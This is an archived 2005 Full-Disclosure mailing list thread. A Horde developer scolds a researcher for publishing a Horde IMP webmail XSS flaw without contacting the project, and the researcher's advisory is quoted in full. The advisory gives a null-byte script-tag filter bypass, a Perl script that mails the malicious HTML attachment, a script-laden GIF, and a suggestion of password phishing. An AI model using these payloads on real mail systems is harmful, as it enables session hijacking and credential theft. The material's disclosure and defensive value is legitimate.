Message-ID: <20051206150749.6njb4njtvok4g8sg@neo.wg.de>
Date: Tue Dec  6 14:05:39 2005
From: jan at horde.org (Jan Schneider)
Subject: Horde IMP Webmail Client XSS all versions

Hi Igor,

many thanks for not being a sucker, but being a responsible person and  
notifying us about what you found before disclosing this issue.

If you had turned your brain on for a minute and talked to us, we  
would have let you know that I discovered this flaw already and am  
working on a fix for it at the moment. We also could have told you  
that the nice folks from SEC Consult also discovered this issue long  
before you and worked with us to fix it before letting the world now.  
Maybe we even had mentioned that we don't want to workaround these  
silly IE-parses-every-dumb-mess-as-html-bugs anymore but instead plan  
to work on a whitelist mechanism to properly filter HTML message  
instead of the current blacklist filters.

You will never know because you never hesitated to contact us. You  
deserve nothing, especially no credits for disovering this flaw which  
instead goes to SEC Consult who are smart guys and a responsible  
company who know how to behave in our digital world.

Thank you, not.
Jan.

Zitat von Igor <sprog@...ine.ru>:

> Hello All,
>
> PRELUDE
>        What is HORDE?
>        http://www.horde.org/about/
>        The Mission
>        The Horde Project is about creating high quality Open Source   
> applications, based on PHP and the Horde Framework.
>
>        The guiding principles of the Horde Project are to create   
> solid standards-based applications using intelligent
>        object oriented design that, wherever possible, are designed   
> to run on a wide range of platforms and backends.
>
>        There is great emphasis on making Horde as friendly to   
> non-English speakers as possible.
>        The Horde Framework currently supports many localization   
> features such as unicode
>        and right-to-left text and generous users have contributed   
> many translations for the framework and applications.
>
>        http://www.horde.org/imp/about/
>        Currently Horde Project boasts many applications, some   
> already enterprise-ready and deployed in
>        demanding environments, and some exciting new ones still in   
> development.
>
>        http://www.horde.org/imp/4.0/
>
> DESCRIPTION
>            HORDE IMP is implementing a security strategy based on attempt to
>       strip HTML tags it considers harmful. Before printing an attached
>       file Horde will try to strip tags like <script>, <link> etc.
>            I can almost see you growing bored at this point - the
>       topic is so well-trodden, nevertheless I will continue.
>            Those who is exploiting this bug now - don't be sorry for
>       it going public - there are numerous but less apparent security issues
>       with Horde Imp which will still allow you to achieve the same
>       effect when the bug is fixed.
>            The next part is going to be a short one, there is nothing
>       to explain, the example is self-commented and well known:
>
>          <s0x00hcript>alert('HORDE')</s0x00hcript>
>          0x00h is an ASCII 00
>
>            At this point the marvelous strategy of "stripping" will fail to
>       strip <script> as well as the other arbitrary tags which are
>       otherwise filtered rendering IMP into some moderate quality
>       software. (Will work only for IE).
>
>            One can devise various examples playing with unicode
>       attachments and strings. Yes it looks like Horde doesn't not   
> know how to
>       handle utf16 attachments. As far as this direction is   
> exploited - there is
>       a wide playground for those, who are interested, in almost every
>       line of Horde products.
>
>
> POC
> #
> # MIME::Liet SMTP client by C3PO
> #
>    use strict;
>    use MIME::Base64;
>    use MIME::Lite;
> #----------------------------------------------------
> #                    load_file
> #----------------------------------------------------
>    sub load_file{
>       my($file) = shift;
>       my($Body);
>       open(IN, $file) || die("Can't open $file $!");
>       binmode IN;
>       read(IN, $Body, -s $file);
>       close(IN);
>       return $Body;
>   }
> #----------------------------------------------------
> #                      main
> #----------------------------------------------------
>    my $c = load_file('\Xploits\horder\passed.htm'); #content
>    my $m = MIME::Lite->new(
>                  From    =>'mail@...ain.zone',
>                  To      =>'mail@...ain.zone',
>                  Subject =>'Horde',
>                  Date    =>"Tue, 17 Dec 2002 22:00:02 +0300",
>                  Type    =>"text/html",
>                  Data    => $c,
>                  Filename=>"horde.html",
>                  Encoding =>'base64'
>                  );
>   $m->attr('content-type.charset' => 'windows-1251'); #not necessary
>   $m->send("smtp","smtp.domain.zone");
>
>
> passed.htm
> may contain an arbitrary HTML code and javascript, as long as IE is
> used to view an attachment.
> Just save some page and, using any HEX editor (preferable HIEW,
> of course) insert
> <s0x00hcript>alert('HORDE')</s0x00hcript>
> in it.
> Attach this file, send it on your mail and view via IMP Webmail using IE.
>
>
> Yes, your guess is a correct one, image attachments are all so
> affected:
>
> test.gif
> <script language=javascript>
> alert('GIF');
> document.location.href='http://i3.microsoft.com/h/en-us/i/one_care_2_10.jpg';
> </script>
>
> Attach this gif and try to view it in Horde Imp. Never ever give
> direct links on images in your software, especially when the images
> are not checked. (IE behavior)
>
> Given this mechanism an attacker may easily steal
> user password by devising a DHMTL attachment which will obfuscate user
> input, i.e. impersonating the server it will raise an Apache
> authorization window and give some "Your password is expired" crap.
> The example is not provided.
>
> Yet a closer introspection into the source codes and algorithms may
> reveal some other interesting yet questionable strategies which I
> leave for you to mess with.
>
> --
> Best regards
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
>



Jan.

-- 
Do you need professional PHP or Horde consulting?
http://horde.org/consulting/

Powered by blists - more mailing lists